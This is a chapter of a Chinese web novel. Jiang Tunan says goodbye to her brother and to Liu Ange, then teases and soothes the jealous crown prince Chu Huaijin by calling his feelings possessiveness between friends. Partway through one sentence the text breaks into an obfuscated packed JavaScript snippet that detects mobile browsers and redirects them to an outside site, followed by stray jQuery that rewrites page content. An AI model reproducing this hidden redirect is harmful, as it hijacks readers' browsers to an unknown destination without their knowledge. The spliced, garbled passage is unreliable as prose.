柳安歌和姜北辰一起送她们二人离开。
“哥,你们什么时候离开?”
姜北辰从姜图南说她很喜欢自己后,就一直用一种慈祥怜爱的眼神看着她。
此时他一个魁梧大汉努力夹着声音道:“快了,枝枝,后日就要走了。”
“这么快?”姜图南有些不舍,她是真的挺喜欢这个哥哥的,不只是因为他像自己姐姐,姜图南能看出来,这个兄长是真心待她的。
姜北辰揉揉她的脑袋:“下次回来给你带北疆的特产,好好照顾自己。”
姜图南想了想,觉得自己还能钻一次狗洞,便道:“明日午膳还在那个酒楼,我请客,如何?”
姜北辰看向楚怀瑾:“这......”
姜图南扯了扯楚怀瑾袖子:“你说吃几个蛋黄就几个。”
楚怀瑾垂眸看着她,没甚表情地点了点头。
柳安歌:甜!这才是真爱啊!
楚怀瑜所谓的追求,其实就是在街上到处拦她,然后把她带到酒楼里点两个她吃不惯的菜,再说一堆甜言蜜语。
这样一对比,他其实什么实际行动也没付出过,甚至请她吃了好几次饭,也不知道她到底喜欢吃什么,别说什么请客钱,钱对他来说是最不值钱的,而她似乎也从没得到楚怀瑜的偏爱,毕竟她受欺负了,楚怀瑜都帮不了她,他所谓的追求,只给自己带来了伤害。
楚怀瑾点了点头后又弯腰在姜图南耳边低声道,“我现在心情不好,你要吃蚯蚓。”
姜图南伸手就掐:“吃吃吃,你就知道吃!”
柳安歌:原来她真的敢打太子,不是在唬自己啊。
“姐姐~你们要走了吗?”心眼姐换了身更华丽的衣裳,化了更精致的妆,不知道戴了多少个香囊,花蝴蝶般迎面走来。
姜图南打了个喷嚏:“哪来的臭狗在叫?”
“姐姐,明珠哪里惹到你了吗?你这样骂明珠?好粗俗,太子殿下,您要为明珠做主啊~”
心眼姐的演技属于实力派,眼泪说来就能来,还能控制眼泪的走势,左眼包着一眼眶泪水,右眼一滴泪顺着脸颊划过,配上一张楚楚可怜的小脸,凄惨又绝美。
姜图南:内鱼你想要的破碎感!
要不是这人是个霸凌姐,还害过原主,姜图南就要忍不住上去抱抱她了,直女也受不了这架势啊。
直女受不了,直男楚怀瑾受得了,他眼里甚至闪过厌恶,冷漠道:“滚。”
姜图南哈哈笑,还贴心地补充道:“他生气了喜欢杀人,小猪猪你也不想变成猪肉吧?”
姜图南是瞎说的,她没见过也不知道楚怀瑾生气了会做什么,纯吓唬她而已。
但柳安歌和姜北辰是上过战场的人,刚刚是真切地感受到了杀意,不过听到姜图南后面那句话,两人还是没忍住笑出了声。
姜明珠很不甘心,不过再不甘心也不敢说什么,只能转身离去,但她转头还没走两步,就听见后面传来了那个同样是嫡女,却处处压她一头的贱女人的叫声,便下意识回头看,就看见那个贱女人正被太子殿下护在怀里,太子殿下眼里是溢出来的柔情,高大俊美又温柔,姜明珠眼里的忮忌之情快要将她整个人烧透。
如果那个人是自己,如果她也能嫁给那样优秀的男人,她比那个贱女人漂亮比她温柔,一定能获得太子殿下的宠爱,想到这儿,她仿佛下定了什么决心,毅然向主院姜通海的房间走去。
这边姜图南扶着楚怀瑾环在她腰间的胳膊,用力踢了踢小腿:“疼疼疼。”
她刚刚没看路,踢到路边围花草的石头了。
楚怀瑾:“多吃蛋黄眼睛就好用了。”
姜图南抬腿又踢了他一下:“烦死了你。”
“如何了?还痛吗?”柳安歌站在另一侧关切问道。
姜图南摆摆手:“没事没事,能走了。”
楚怀瑾便松开了她。
到门口后,姜北辰指着门口一个大箱子道:“这是给你们的新婚贺礼。”
又指了指另一个大箱子:“这是哥哥在北疆收集地有意思的小玩意儿,解闷。”
姜图南感激地点点头,有玩具了。
柳安歌被她救了一命,却没准备什么礼物,此刻有些不好意思:“枝枝,我什么也没准备,等回北疆我亲手猎个熊,下次回来将熊皮送你。”
熊皮无论是在古代还是在现代,都是很珍贵的,姜图南十分感动。
“柳姐姐你太厉害了!”那可是熊啊,太勇猛了。
“应该的,仔细算算,枝枝已经救了我两命了。”
这倒是真的,姜图南上前抱抱她:“柳姐姐前途无量。”
柳安歌也将胳膊搭在她身上抱了下。
姜图南:喘不过气了。
她伸手推了推柳安歌,在对方松开她后,好奇地捏了捏柳安歌的胳膊,然后瞪大双眼。
妈妈!我看见金刚芭比了!
柳安歌能做女主,颜值自然不必说,却没想到身材也是这样完美有力。
姜图南又向她肚子上摸去,硬硬的,感觉有八块:“好、好厉害。”
她回头看了楚怀瑾一眼:“今晚我想和柳姐姐一起睡。”
楚怀瑾满脸黑线:“不可能。”
柳安歌笑了两声,心里很高兴。
第一次有人对她说这样的话,她这身材被男子嫌不够柔软,被女子嫌不像女人,也就军中将士和姜北辰把她当好友,不会歧视她。
她又轻轻抱了抱姜图南:“枝枝,你真好。”
姜图南的咸猪手在柳安歌背上摸来摸去:“太厉害了,感觉一拳能打倒十个我,好有安全感,我要嫁给姐姐,姐姐的腿不是腿,是塞纳河畔的春水,姐姐的腰不是腰,是夺命三郎的弯刀......”
楚怀瑾:“姜图南!”
柳安歌被摸得有些脸红,好在太子殿下及时拉走了她。
姜图南依依不舍地被拉上了马车,不甘心地掀起窗帘:“柳姐姐明日一定要来啊~”
身后的楚怀瑾努力将额头上的十字小花按下去,然后把姜图南拽回到了座位上。
姜图南意犹未尽:“这真的太酷了,我以前应该多去外面的健身房的,我真的错过了好多。”
说了半天,没人应她,姜图南才终于看向楚怀瑾。
刚刚还说没见过他心情不好的样子,现在就看见了。
姜图南觉得自己的嘴好像真的开了光。
“殿下?”她戳了戳楚怀瑾的胳膊。
“坐好。”
姜图南不自觉打了个哆嗦,好冷。
她凑到楚怀瑾身侧,挨着他坐下:“殿下,我们两个都是女子。”
“嗯。”
姜图南:坏了,不说话了。
“你在气什么?我又没给你戴绿帽子。”姜图南起身侧跪在坐上,然后用手捏住了楚怀瑾的下巴,强制让他抬头与自己对视。
对视的那一下,姜图南心跳漏了一拍,ccccc!怪不得好多小说男主喜欢捏着女主下巴看,这个角度简直绝美!
愤怒中带着几分倔强,可怜中又带着几分坚强,十分能激起人的保护欲与征服欲。
姜图南:这就是美人嗔怒吗?我可以!
她没忍住笑了一下:“美人儿~”
楚怀瑾心情明显更糟了。
“松手。”
“你多说几个字,我就松手。”姜图南另一只手在他高挺的鼻尖点了点。
她真的感觉以前的男模都白点了,就该这样玩的,一直灌酒有什么意思!
不行不行,不能这样想,这样想友谊会变质的,她现在只有一个小伙伴,可不能闹掰了。
“你到底在生什么气?你说了我们才能心平气和地解决呀,朋友相处也是需要磨合期的。”姜图南很喜欢这样的姿势,有点舍不得松手了。
“朋友?”楚怀瑾微微眯眼,他第一次知道自己在姜图南心里的定位居然是朋友。
“昂,我们不是好朋友吗?你说说为什么生气,好朋友会改的。”她性格不错,女性朋友不少,男性朋友虽不多,但也有好几个,自觉有丰富的处理朋友关系的经验。
楚怀瑾又不说话了,他其实也不知道自己为什么生气,只是姜图南把注意力放在别人身上而忽略自己时,心里就不太舒服,特别是她还对那个人表露出了深切的喜爱之情,心里就更难受了。
“孤不喜欢你与他人过于亲密。”楚怀瑾垂眸,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341970|199382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去看她的眼睛。
姜图南看他半阖眸子的样子,心里暗道了声好乖,虽然对楚怀瑾这样一个人来说,乖这个词和他实在是沾不上一点边,甚至违和感满满,但姜图南就是觉得好乖,会乖乖说出自己的感受,还会乖乖等她说话。
“我明白了,你以前没有朋友,肯定不懂友谊也是有占有欲的。”
姜图南回过神后,很快明白了他在气什么。
友情占有欲也是很强的,她以前就因为这个东西和闺蜜林听差点闹掰。
自己有段时间因为一次旅游规划,和另一个女生走的很近,她想多跟那个女生聊一聊旅游攻略,之后和林听一起去,就能有更好的旅游体验,所以那几天就一直跟那个女生聊天。
林听大概是觉得自己不想和她一起旅游,也不想和她做朋友了,才故意疏远她,不想自讨没趣所以也没问自己,只是也开始渐渐疏远自己。
甚至旅游计划也被取消,两个人好几天没说话,都以为对方不想和自己玩了。
姜图南那会实在难受,没忍住给她发了条消息,想问问她到底怎么了,是真的不在乎自己这个朋友了吗?
消息发出去发现自己已经被拉黑了。
姜图南瞬间气不打一处来,连发了好几条短信质问她,语气也很冲,说的话也不太好听。
林听大概也是被惹毛了,推了一早上的通告,就为了和她对质。
她们又加回了联系方式,怨气满满地怼了一上午,最后在边骂边对质的情况下才解开了误会,中午一起吃了个饭后,才终于和好如初。
姜图南还明确地表示她是自己最好的朋友没有之一,绝不会变心,林听也竖起手指发誓她也一样,两个人对视后哈哈大笑地抱在一起,这才避免了分道扬镳的结局。
所以姜图南才这么快反应过来,楚怀瑾的情况绝对和她之前与林听的情况一样。
不同的是楚怀瑾更直接一些,他会直接说出自己的感受,所以姜图南才会觉得他真的很乖。
至于楚怀瑾对她产生爱情什么的,姜图南觉得不可能,因为满打满算她们认识的时间也才不到半个月。
她一直觉得爱情的产生是需要时间的,两个人要足够了解对方,而这一点就需要很长时间,只有这样之后才能决定是否合适,能不能在一起。
她的父母就是这样的,相识相知相爱到结婚,她们用了七年,婚后也一直很恩爱。
冲动如承王那样的,只见了几面就深爱上对方的,她一律归为快餐式恋爱,只是精虫上脑或想谈恋爱罢了。
为了谈恋爱而在一起的她不接受,她只看好相互喜欢才谈恋爱的。
友情不一样,她看见林听的第一眼,就想和这个人做朋友,而她问起这个问题时,发现林听也是一样的,这种灵魂的相互吸引是没经历过的人体会不到的。
当然这只是她这个母单的理论经验。
“占有欲?”楚怀瑾抬眼看她。
姜图南语重心长地说道:“没错,不止情侣爱人,两个朋友之间也是有占有欲和排他性的,不允许别人和自己的好朋友走的太近,不允许自己的好朋友不在乎自己,眼里没有自己,这就是友情占有欲,你就是因为这个原因才生气的。”
姜图南有些得意,自己还挺有魅力,才来这么几天就能交到一个会对自己产生占有欲的好友。
这可不是普通好友之间会有的,只在自己非常在乎的朋友身上才有的,没想到楚怀瑾这么在乎她。
不过想想也是,他也没有好朋友,自己大概是第一个且是唯一一个吧,也怪不得他生气。
楚怀瑾看她一副颇有经验的样子,似乎对此很了解,而他也确实如她所说一般,不希望她与别人在一起,不希望她眼里没有自己,不在乎自己。
他连爱情理论经验都没有,也从未往这方面想过,非要说的话也只是个没开窍的毛头小子,只能听着姜图南的话,似懂非懂的点了点头:“所以你有很多好朋友吗?她们与孤比谁更重要呢?”
姜图南心虚地目移:“我也只有一个这样的朋友啦,不对,算上你就有两个了,你们两个都是我最好的朋友。”
她感觉这话好渣女。
楚怀瑾:“呵呵。”